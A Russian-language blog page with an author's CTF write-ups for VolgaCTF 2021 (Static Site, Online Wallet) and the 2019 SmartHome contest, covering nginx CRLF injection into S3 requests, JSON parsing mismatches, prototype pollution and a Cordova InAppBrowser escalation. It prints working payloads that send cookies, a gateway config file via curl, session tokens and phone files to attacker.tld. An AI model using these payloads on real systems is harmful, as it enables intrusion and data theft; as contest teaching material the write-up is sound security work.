Показаны сообщения с ярлыком prototype pollution. Показать все сообщения
Показаны сообщения с ярлыком prototype pollution. Показать все сообщения

29 марта 2021

VolgaCTF 2021 Quals / Online Wallet, Static Site writeups

Static Site

https://i.imgur.com/RWm3FRX.png

Задание представляет собой сайт, который состоит только из статики, часть из который подключается из Amazon S3 Bucket.

Идея взята из статьи Middleware, middleware everywhere - and lots of misconfigurations to fix. В случае, если в proxy_pass используются nginx переменные, содержащие перенос строки - это можно привести к CRLF Injection в запросе. Что особенно опасно при использовании Amazon S3, так как перезапись Host заголовка позволяет запросить файлы из произвольного bucket, созданного в том же регионе.

Это может произойти при использовании исключающих регулярных выражений

location ~ /docs/([^/]*/[^/]*)? {
    proxy_pass https://bucket.s3.amazonaws.com/docs-website/$1.html;
}

В задании использовался вариант с $uri, не упомянутый в статье. Данная переменная содержит нормализованное значение URI, переданное клиентом. Нормализация включает в себя преобразования относительных элементов пути "." и "..", замена повторяющихся "/" и url-декодирование.

location /static/ {
    proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
}

Таким образом запрос /static/xss.html%20HTTP/1.0%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a будет отправлен следующим образом

GET /static/xss.html HTTP/1.0
Host:attacker-s3-bucket

 HTTP/1.1
Host: volga-static-site.s3.amazonaws.com

Что дает возможность атакующему вернуть свой HTML в контексте уязвимого сайта. Но Content Security Policy не позволял использовать inline script, поэтому для выполнения кода необходимо подключить еще один файл с использованием CRLF Injection.

Content Security Policy: ...; script-src 'self'...

Эксплуатация:

  • Создаем bucket в регионе us-east-1
  • Загружаем /static/xss.html
<script src="/static/xss.js%20HTTP/1.1%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a">
</script>
  • Загружаем /static/xss.js
location.replace('//attacker.tld/?' + document.cookie)
  • Отправляем боту ссылку
https://static-site.volgactf-task.ru/static/xss.html%20HTTP/1.1%0d%0aHost:attacker-s3-bucket%0d%0a%0d%0a

Многие остались недовольны тем, что необходимо угадывать регион для создания bucket, потому что иначе выдавало перенаправление с сообщением "Please re-send this request to the specified temporary endpoint". Это действительно вызывает проблемы при Subdomain Takeover, когда старый bucket был удален. Так как пересоздание bucket с таким же именем в другом регионе занимает около часа, пока Amazon синхронизирует информацию в своей огромной инфраструктуре. Но в данном случае узнать регион не составляет труда, так как Amazon публикует диапазоны IP всех своих сервисов по ссылке https://ip-ranges.amazonaws.com/ip-ranges.json

<?php
    $ip = gethostbyname($argv[1]);

    $ip_ranges = json_decode(file_get_contents('https://ip-ranges.amazonaws.com/ip-ranges.json'));

    foreach ($ip_ranges->prefixes as $prefix) {
        if(isset($prefix->ip_prefix)) {
            if(ip_in_network($ip, $prefix->ip_prefix))
                print("Service $prefix->service, region $prefix->region".PHP_EOL);
        }
    }

    function ip_in_network($ip, $range) {
        list($net_addr, $net_mask) = explode('/', $range);
        if($net_mask <= 0){ return false; }
            $ip_binary_string = sprintf("%032b", ip2long($ip));
            $net_binary_string = sprintf("%032b", ip2long($net_addr));
      return (substr_compare($ip_binary_string, $net_binary_string, 0, $net_mask) === 0);
    }
?>
> php amazon_region.php volga-static-site.s3.amazonaws.com

Service AMAZON, region us-east-1
Service S3, region us-east-1

Online Wallet (part 1)

https://i.imgur.com/9DUV5DR.png

Данное задание представляет собой онлайн кошелек с функциями создания и перевода средств между своими счетами. Для получения флага необходимо запросить вывод денег со счета, но он доступен только при отрицательном балансе или более 150 токенов. При регистрации создается кошелек с балансом 100.

Идея уязвимости была взята из статьи An Exploration of JSON Interoperability Vulnerabilities.

При переводе средств между счетами происходило 2 различных парсинга JSON тела запроса.
Первый раз с помощью node через body-parser

const bodyParser = require('body-parser')

app.use(bodyParser.json({verify: rawBody}))

const rawBody = function (req, res, buf, encoding) {
  if (buf && buf.length) {
    req.rawBody = buf.toString(encoding || 'utf8')
  }
}

И второй раз при совершении транзакции в MySQL. Поле transaction имело тип JSON.

transaction = await db.awaitQuery("INSERT INTO `transactions` (`transaction`) VALUES (?)", [req.rawBody])

await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` - `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.from_wallet' AND `transactions`.`id` = ?", [transaction.insertId])

await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` + `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.to_wallet' AND `transactions`.`id` = ?", [transaction.insertId])

Так как проверка баланса происходила в node, а выполнение транзакции в MySQL это вызывало следующие ошибки:

  • При переводе очень мелких сумм происходило пополнение второго кошелька, но баланс первого оставался 100 (объяснить это я затрудняюсь)

https://i.imgur.com/dVKTYZ2.png

https://i.imgur.com/vajdLZ9.png

https://i.imgur.com/b6Ic6kR.png

  • Из-за разных округлений в парсинге возможно было увести баланс в минус
Node
JSON.parse('{"amount":100000000000000000000000000000000000000000000000000000000000001E-60}').amount
100

MySQL
select json_extract('{"amount":100000000000000000000000000000000000000000000000000000000000001E-60}', '$.amount');
100.00000000000001

Таким образом, для получения флага достаточно было сделать 1 транзакцию. Но несмотря на мои попытки избавится от Race Condition, многие команды решили таск не так, как планировалось.

Online Wallet (part 2)

Во второй части задания участникам необходимо было сделать XSS и украсть cookie у бота.

В приложении была возможность смены языка, которая реализована загрузкой разной версии JS файла с Amazon S3 bucket.

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_ru.js"></script>

Через параметр lang можно установить произвольное значение языка, но символы <>" обрабатывались корректно

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_&lt;&gt;&#34;.js"></script>

Но, так как значение попадает в путь к скрипту, это позволяет подключить произвольный файл из данного bucket, используя следующее значение "?lang=/../foo".

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_/../foo.js"></script>

За счет листинга можно посмотреть все файлы и обнаружить deparam.js
https://i.imgur.com/LIMTOL8.png

Данная библиотека преобразует параметры из location.search в объект. Используя подсказку в исходном коде можно было найти репозиторий, содержащий примеры библиотек, уязвимых к Prototype Pollution и гаджеты, с помощью которых можно продемонстрировать выполнение произвольного JS кода https://github.com/BlackFan/client-side-prototype-pollution. Однако стандартный вариант Prototype Pollution действительно не работает, потому что объект создается без прототипа.

https://i.imgur.com/m7pjTEq.png

https://i.imgur.com/rg9fzyL.png

Но фикс исправляет только создание объектов, а библиотека deparam поддерживает массивы, через которые аналогично можно добраться до прототипа объекта следующим образом

https://i.imgur.com/rF9X364.png

Используя создание полей в прототипе объекта, атакующий может изменять логику существующих скриптов на странице, что может привести к XSS. Искать фрагмент кода, который будет эксплуатироваться через Prototype Pollution можно двумя путями - от обращения к неинициализированному полю до уязвимого кода. И наоборот, сначала выделить небезопасные фрагменты кода, а потом искать неинициализированные поля, которые на него влияют.

В первом случае поможет скрипт pollute.js от Michał Bentkowski. Но в данном случае проще было выбрать второй путь и использовать untrusted-types от filedescriptor. При наведении курсора на кнопку "Deposit" появлялся tooltip и расширение untrusted-types предупреждало о небезопасном использовании innerHTML в jQuery.

https://i.imgur.com/yF8wnAF.png

И если взглянуть на функцию getTipElement, становится понятно, что для этого фрагмента кода уже есть готовый XSS PoC в репозитории.

  getTipElement() {
    this.tip = this.tip || $(this.config.template)[0]
    return this.tip
  }

https://i.imgur.com/tBw33vk.png

Но остается еще одна проблема - для отображения tooptip необходимо вызвать onfocus для данного элемента.

<span class="d-inline-block" tabindex="0" data-toggle="tooltip" title="Not implemented yet" id="depositButton">
    <button class="btn btn-primary" type="button" disabled style="pointer-events:none;" data-i18n="deposit">
        Deposit
    </button>
</span>

Это можно сделать загрузив сайт в iframe и обновив src с добавлением id элемента "#depositButton", в результате чего фокус будет переведен на кнопку и bootstrap отобразит tooltip.

Эксплуатация

  • Через параметр lang подключить deparam.js
  • Обойти фикс Prototype Pollution через массивы
  • Вызвать небезопасный фрагмент кода через onfocus
  • Использовать XSS гаджет для jQuery
<iframe name="xss" src="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&x=x&x=x&x[__proto__][__proto__][div][0]=1&x[__proto__][__proto__][div][1]=%3Cimg/src/onerror%3dfetch(%27//attacker.tld/%27%2bdocument.cookie)%3E"></iframe>
<script>
setTimeout(function() {
    xss.location="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&x=x&x=x&x[__proto__][__proto__][div][0]=1&x[__proto__][__proto__][div][1]=%3Cimg/src/onerror%3dfetch(%27//attacker.tld/%27%2bdocument.cookie)%3E#depositButton"
}, 2000)
</script>

Исходный код заданий: https://github.com/BlackFan/ctfs/tree/master/volgactf_2021_quals

20 сентября 2019

VolgaCTF 2019 SmartHome Writeup

В этом году я подготовил для финала VolgaCTF дополнительный конкурс, посвященный взлому типичной инфраструктуры с которой работают умные дома. У конкурса не было конкретных указаний что именно нужно взломать, а был лишь указан scope:

Выглядело это примерно так:

Flag 0

Первым делом необходимо было собрать информацию о поддоменах пробрутив dns, либо посмотрев на список выпущенных сертификатов.

https://crt.sh/?q=%.volgactf-iot.pw

ftp.volgactf-iot.pw  
storage.volgactf-iot.pw  
mqtt.volgactf-iot.pw  
api.volgactf-iot.pw  

FTP сервер содержал исходный код gateway на node.js и Flag 0.

Flag 1

После авторизации на API сервере мобильное приложение создает учетную запись для подключения к MQTT, чтобы взаимодействовать напрямую с gateway.

MQTT сервер позволял пользователям подписываться на сообщения системных топиков $SYS, в который MQTT брокер публикует информацию о клиентах, в числе которых был пользователь с флагом.

mqtt = require('mqtt');
var client  = mqtt.connect({host: 'mqtt.volgactf-iot.pw',
        protocol: 'mqtts',
        port: 8883,
        path: '/',
        clientId: 'clientid_user_526b14197252d44448df004c90652d52', 
        username: 'user', 
        password: '912a5b',
    });
client.on('connect', function () {
    client.subscribe('$SYS/#', function (err) {})
})
client.on('message', function (topic, message) {
  console.log(topic, message.toString())
})

На этом этапе можно было также заметить, что хэш в конце clientid - это md5 от 6-ти символьного пароля пользователя. И, дождавшись подключения администратора к MQTT, можно было получить учетную запись для доступа к gateway администратора, сбрутив пароль.

Flag 2

Gateway представлял собой Raspberry Pi Zero W с камерой, USB dongle CC2531 и датчик движения от Xiaomi. Изначально предполагалось повесить его в зале докладов и делать фотографии по датчику движения, но из-за технических проблем это не получилось сделать.

В исходном коде gateway было указано 2 флага. Для доступа к первому достаточно было послать на gateway команду get_flag и получить ответ в соответствующем топике.

client.subscribe('gateway/gateway02/clientid_user_526b14197252d44448df004c90652d52', function (err) {})
client.publish('mobile/user/clientid_user_526b14197252d44448df004c90652d52', '{"cmd":"get_flag"}');

Flag 3

Второй флаг gateway был указан лишь в конфигурационном файле и не использовался в коде. Для доступа к нему необходимо было проэксплуатировать атаку Prototype Pollution. Подробнее о ней можно почитать тут
https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf.

function photo(client_id, command) {
    ...
    camera.snap()
        .then((result) => {
            ...
                    result = JSON.parse(body);
                    if(result.result) {
                        merge(result, command);
                        mqttPublish(client_id, command);

JSON объект с командой photo, отправленной пользователем, попадал в функцию merge.

function merge(obj1, obj2) {
    for (var attr in obj2) { 
        if(attr === '__proto__') continue;
        if(typeof obj2[attr] == 'object') 
            merge(obj1[attr], obj2[attr]); 
        obj1[attr] = obj2[attr]; 
    }
}

Но для перезаписи неинициализированных полей объекта нельзя было использовать __proto__, который обычно указан в PoC Prototype Pollution Attack. Участники должны были найти, что атака возможна также через constructor.prototype. Таким образом - следующая команда добавляла к любому объекту поле test со значением test2.

{"cmd":"photo","device_id":2,"constructor":{"prototype":{"test":"test2"}}}

В качестве подсказки из конфигурационного файла использовалась неинициализированная переменная filename, которая попадала в модуль pi-camera при создании фотографии. Данный модуль является оберткой для node.js над консольными утилитами получения изображений с Raspberry Pi Camera.

    image = this.config.camera.filename ? this.config.camera.filename : '/home/pi/gateway/images/output.jpg';
    camera = new piCamera({
        mode: 'photo',
        output: image,
    });

    camera.snap()

Причем в нем нет какой-либо обработки параметров и они попадают в child_process.exec в результате простой конкатенации.

const { exec } = require('child_process');
...
static run(fullCmd) {
...
exec(fullCmd, (error, stdout, stderr) => {
...
}
...
static cmd(base, params) {
...
return base + ' ' + params.join(' ');

Таким образом, получить RCE на gateway можно было послав в MQTT следующую команду:

{"cmd":"photo","device_id":2,"constructor":{"prototype":{"filename":" || curl -d \'@./config.json\' http://attacker.tld/ || "}}}

При следующем вызове камеры команда будет исполнена, а gateway, получив ошибку, перезагрузится.

Flag 4 & 5

Данные флаги хранились на gateway администратора, то есть для их получения нужно повторить эксплоиты Flag 2 и Flag 3, отправив их на другой gateway. Но для этого необходимо получить доступ к учетной записи MQTT от администратора. Это можно было сделать через MQTT топик $SYS, как описано в Flag 1, либо проэксплуатировать мобильное приложение на телефоне администратора и получить сессию для API сервера, о чем будет сказано в Flag 9.

Flag 6

Фотографии сделанные gateway отправлялись на API сервер, который сохранял их в Amazon S3. Мобильное приложение для доступа к файлами запрашивало подписанную ссылку через API сервер. Выглядело это следующим образом:

Скрипт /cloud/sign не проверял принадлежность файла клиенту и подписывал любое указанное значение, но для получения флага необходимо было знать имя файла. Получить листинг файлов в S3 можно было обойдя проверку на API сервере и подписать ссылку на корень:

/cloud/sign?file=/..

Другим вариантом было получение листинга через авторизованного пользователя S3. Но для начала необходимо было получить имя bucket, так как всё взаимодействие с Amazon S3 было сделано через CloudFront. Сделать это можно было вызвав ссылку с некорректной подписью:

Либо взять его из мобильного приложения, где bucket указан в Content Security Policy.

<meta http-equiv="Content-Security-Policy" content="
default-src 'self' data: gap: https://ssl.gstatic.com 'unsafe-eval'; 
style-src 'self' 'unsafe-inline'; 
media-src *; 
img-src 'self' data: content: https://volgactf-iot-storage.s3.eu-west-2.amazonaws.com https://storage.volgactf-iot.pw; 
connect-src https://api.volgactf-iot.pw/ wss://mqtt.volgactf-iot.pw:8083 ">

После чего, получить листинг через консольные утилиты s3 от авторизованного пользователя.

aws s3 ls s3://volgactf-iot-storage
2019-09-02 17:52:12         51 flag_G42ZScXARPIEIJ4HIEEY.txt

И уже зная имя файла, подписать ссылку на доступ к нему в S3.

Небезопасная настройка с доступом к S3 от любого авторизованного пользователя была довольно распространена ранее, так как ее включали через пользовательский интерфейс, недостаточно понимая, что именно она значит. Теперь Amazon значительно затруднил это, и в пользовательском интерфейсе она появляется только после того, как данное правило было вручную прописано в ACL.

Подробнее о данных уязвимостях:
https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-your-assets/
https://labs.detectify.com/2018/08/02/bypassing-exploiting-bucket-upload-policies-signed-urls/

Flag 7

Flag 7 представлял собой распечатанный листок, на который была направлена камера gateway администратора. Получить данный флаг можно было как просто отправив команду photo в MQTT от администратора, так и через RCE в результате эксплуатации Prototype Pollution.

Flag 8

Для доступа к остальным флагам необходимо было атаковать мобильное приложение на телефоне администратора. Чтобы участники могли делать это удаленно, был написан Telegram Bot, который передавал ссылку от участников через Firebase Cloud Message на атакующее мобильное приложение, которое, в свою очередь, просто открывало ссылку в стандартном браузере на Android. В целом все выглядело так, как будто пользователь просто проходит по ссылке из telegram сообщения.

String url = remoteMessage.getData().get("url");
Intent intent = new Intent("android.intent.action.VIEW");
intent.addCategory("android.intent.category.BROWSABLE");
intent.setData(Uri.parse(url));
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
this.getApplicationContext().startActivity(intent);

Само приложение VolgaCTF SmartHome было основано на Apache Cordova, то есть, по сути представляло собой WebView с дополнительной функциональностью, реализованной в плагинах.
Взаимодействовать с приложением SmartHome можно было через зарегистрированное BROWSABLE Activity.

<intent-filter android:label="@string/launcher_name">
  <action android:name="android.intent.action.VIEW" />
  <category android:name="android.intent.category.DEFAULT" />
  <category android:name="android.intent.category.BROWSABLE" />
  <data android:host="smarthome" android:scheme="volgactf" />
</intent-filter>

Открыть приложение через Telegram бота можно отправив ссылку с перенаправлением на URL volgactf://smarthome/

https://attacker.tld/redirect?url=volgactf://smarthome/

В приложении это использовалось для открытия внешних ссылок через специальный плагин InAppBrowser, который специально разработан для отображения страниц в изолированном WebView без доступа к Cordova плагинам.

function urlScheme(uri) {
        if(uri != '' && uri != null) {
            intentUri = new URL(uri);
            url = intentUri.searchParams.get('url');
            if((url != null) && (url.startsWith(MAIN_HOST))) {
                cordova.InAppBrowser.open(url + '#' + FLAG, '_blank', 'location=yes');
            }
        }
    }

Единственное условие, которое ограничивает - ссылка должна начинаться с подстроки https://volgactf-iot.pw.
Обойти это можно было:

  • Настроив HTTPS на поддомене вида https://volgactf-iot.pw.attacker.tld
  • Или отбросив начало хоста с помощью @ https://volgactf-iot.pw@attacker.tld

Пример получения Flag 8, который добавлялся в location.hash ко всем ссылкам, открываемым в InAppBrowser:

https://attacker.tld/redirect?url=volgactf://smarthome/?url=https://volgactf-iot.pw.attacker.tld/

<script>fetch("https://attacker.tld/sniffer/?zzz="+location.hash.slice(1));</script>

Flag 9

Последние 2 флага никто не успел получить за время соревнования. На данном этапе у участников была возможность выполнять свой JavaScript код в изолированном WebView InAppBrowser, но необходимо было поднять привилегии и выполнить JS код в основном окне Cordova, где хранилась сессия администратора для API сервера и доступ к плагинам чтения файлов на телефоне.

Перед дальнейшей эксплуатацией желательно пересобрать Android приложение добавив debuggable флаг в AndroidManifest.xml. Это бы разрешило удаленную отладку WebView в Cordova через Chrome.
Подробнее об этом:
https://developers.google.com/web/tools/chrome-devtools/remote-debugging/webviews

Погуглив можно было найти CVE-2014-0073.
https://d3adend.org/blog/posts/cordova-inappbrowser-remote-privilege-escalation/

В данной уязвимости описывается возможность выполнить JS код через некорректную обработку коллбэков, с помощью которых InAppBrowser общается с основным WebView. Оказалось, что данная уязвимость была исправлена только в iOS и плагин для Android был уязвим вплоть до 2019 года, пока я не отправил информацию в Apache, обнаружив уязвимость на рабочем проекте.

https://github.com/apache/cordova-plugin-inappbrowser/commit/686108484e6a7c1a316d7c6bc869c209c46d27e3

Пример вызова callback:

iOS
<iframe src="gap-iab://InAppBrowser85943/['some','data','in','a','JSON','array']"></iframe>

Android
<script>
prompt("gap-iab://InAppBrowser85943/['some','data','in','a','JSON','array']");
</script>

Пример выполнения JS в основном окне Cordova из inAppBrowser:

<script>
prompt("","gap-iab://InAppBrowser\');alert(12345);//")
</script>

И последнее, что отделяет от получения сессии администратора - Content Security Policy, прописанный в index.html.

CSP не запрещает выполнять JS, но мешает отправить данные обратно к атакующему. Это легко обходится через media-src: *

<script>
prompt("","gap-iab://InAppBrowser\');document.write(\\"<audio src=https://attacker.tld/\\"+window.localStorage.getItem(\'iot_session\')+\\">\\")//")
</script>

Flag 9 возвращается при запросе https://api.volgactf-iot.pw/user с админской сессией.

Flag 10

В последнем задании необходимо было получить фотографию из истории сообщений Telegram администратора.
У приложения SmartHome был доступ на чтение файлов с SDCARD, а используемый плагин для HTTP запросов cordova-plugin-advanced-http имел в зависимостях плагин для работы с файлами.

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />

В результате для листинга директорий и чтения файлов получились следующие вектора.

Листинг директории /sdcard/Telegram/Telegram Images/

<script>
prompt("","gap-iab://InAppBrowser');window.resolveLocalFileSystemURL(\"file:///sdcard/Telegram/Telegram%20Images/\",function(dirEntry){dirEntry.createReader().readEntries(function(entries){result=\"\";for(i=0;i<entries.length;i++){result+=entries[i].name+\";\";}document.write(\"<audio src=https://attacker.tld/\"+btoa(result)+\">\")});});//")
</script>

Чтение файлов

<script>
prompt("","gap-iab://InAppBrowser');window.resolveLocalFileSystemURL(\"file:///sdcard/Telegram/Telegram%20Images/\",function(dirEntry){dirEntry.createReader().readEntries(function(entries){for(i=0;i<entries.length;i++){document.write(\"<audio src=https://attacker.tld/filename:\"+btoa(entries[i].name)+\">\");entries[i].file(function(file){reader=new FileReader();reader.onloadend=function(){document.write(\"<audio src=https://attacker.tld/\"+this.result+\">\");};reader.readAsDataURL(file);});}});});//")
</script>